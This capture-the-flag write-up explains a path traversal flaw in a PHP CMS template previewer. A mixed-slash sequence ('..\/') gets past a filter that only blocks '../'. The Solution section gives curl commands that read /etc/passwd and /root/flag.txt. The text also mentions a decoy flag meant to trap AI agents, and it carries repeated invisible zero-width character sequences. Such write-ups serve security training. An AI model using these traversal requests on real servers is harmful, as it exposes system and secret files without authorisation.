Lab 161 — PageForge — Path Traversal via Mixed Slash Filter Bypass

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: backslash_forward_slash_traversal, mixed_slash_filter_bypass, path_traversal_filter_evasion

Summary

Task: PHP CMS with theme template preview feature that filters ../ path traversal sequences. Solution: Bypassed the filter using mixed slash notation (..\/..\/) which PHP normalizes to parent directory traversal, reading /root/flag.txt.

Lab 161 — PageForge — Path Traversal via Mixed Slash Filter Bypass — hackadvisor

Description

PageForge is a content management system built for creative teams and bloggers. It features a rich post editor, theme customization with live preview, and an admin panel for managing content and site appearance. The platform supports multiple themes with template-based rendering. The admin panel includes a theme management section where administrators can preview individual template files from each installed theme to inspect their markup and structure. The goal is to find and exploit a vulnerability in the application that allows reading sensitive files stored on the server. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A PHP CMS with theme management. The admin panel has a template preview feature that reads file contents based on a preview GET parameter. The path traversal filter only blocks ../ but can be bypassed with ..\/ (backslash + forward slash). The flag is at /root/flag.txt.

Credentials: admin / ForgeAdmin2024 Target: https://ba5d9d09-6a46-4cb6-9ef0-a5da5a198cd5.labs.hackadvisor.io/

Analysis

Reconnaissance

• Stack: PHP 8.1.32, Nginx 1.25.5, Alpine Linux
• Admin panel: Login at /login with admin / ForgeAdmin2024
• Theme management: /admin/themes — lists installed themes with a "Preview Templates" feature
• Template preview: Uses preview GET parameter to display template file source code
  • Example: /admin/themes?preview=default/header.php shows the header template markup
• Honeypot: Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments to mislead AI agents and automated scanners ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability: Path Traversal with Incomplete Filter

The template preview feature reads files from the filesystem based on the preview parameter. A security filter checks for ../ sequences and blocks them with the message:

Security: Path traversal detected in template path.

However, the filter only checks for ../ (dot-dot-forward-slash). It does NOT check for:

• ..\/ (dot-dot-backslash-forward-slash)
• Mixed slash combinations

PHP's file functions (like file_get_contents(), include(), readfile()) normalize both forward slashes and backslashes as directory separators on many configurations, allowing ..\/ to function identically to ../ for directory traversal. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Observations

1. Filter is string-based: Only matches the literal ../ pattern
2. Backslash not filtered: ..\/ passes the security check
3. PHP normalizes paths: The filesystem/PHP resolves ..\/ as parent directory traversal
4. No path canonicalization before check: The filter doesn't normalize the input before comparing

Solution

Step 1: Login to Admin Panel

 bash read-only • copy allowed Copy
# Authenticate and save session cookie
curl -c cookies.txt -X POST 'https://TARGET/login' \
  -d 'username=admin&password=ForgeAdmin2024'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Confirm Normal Template Preview

 bash read-only • copy allowed Copy
# Preview a legitimate template file
curl -b cookies.txt 'https://TARGET/admin/themes?preview=default/header.php'
# Returns: contents of the header.php template

Step 3: Test Standard Path Traversal (Blocked)

 bash read-only • copy allowed Copy
# Attempt basic path traversal — BLOCKED
curl -b cookies.txt 'https://TARGET/admin/themes?preview=../../../etc/passwd'
# Returns: "Security: Path traversal detected in template path."

Step 4: Bypass Filter with Mixed Slash

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 bash read-only • copy allowed Copy
# Use backslash+forward slash combination to bypass filter
curl -b cookies.txt 'https://TARGET/admin/themes?preview=..\/..\/..\/etc/passwd'
# Returns: contents of /etc/passwd — bypass successful!

Step 5: Read the Flag

 bash read-only • copy allowed Copy
# Read the flag file using the mixed slash bypass
curl -b cookies.txt 'https://TARGET/admin/themes?preview=..\/..\/..\/root/flag.txt'
# Returns: FLAG{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍